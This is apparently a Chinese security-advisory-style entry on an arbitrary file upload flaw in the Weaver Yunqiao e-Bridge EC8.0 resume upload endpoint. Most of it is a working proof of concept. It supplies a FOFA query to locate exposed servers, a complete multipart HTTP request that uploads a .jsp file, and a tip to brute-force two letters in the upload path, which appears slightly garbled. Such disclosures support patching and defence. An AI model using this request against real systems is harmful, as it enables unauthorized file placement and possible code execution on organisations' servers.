泛微-云桥e-Bridge EC8.0 文件上传

0x00 漏洞描述
泛微-云桥是一款基于云计算技术的企业级协作与办公平台，提供文档管理、流程审批、项目协作等功能，旨在提升企业内部沟通效率与工作协同能力。
/wxclient/app/recruit/resume/addResume 接口存在任意文件上传漏洞

影响范围
2024.7.25日发布补丁

0x01 测绘工具
FOFA：app=“泛微-云桥e-Bridge”

 POC：

POST /wxclient/app/recruit/resume/addResume?fileElementId=H HTTP/1.1
Host: x.x.x.x
Content-Length: 361
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5Mawpg068t7pbxZ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="10086.jsp"
Content-Type: application/octet-stream

127
------WebKitFormBoundaryD5Mawpg068t7pbxZ
Content-Disposition: form-data; name="file"; filename="10086.jsp"
Content-Type: application/octet-stream

127
------WebKitFormBoundaryD5Mawpg068t7pbxZ--

上传到/upload/20240月/1-2位大写字母/1222.jsp
PS：需要爆破两位字母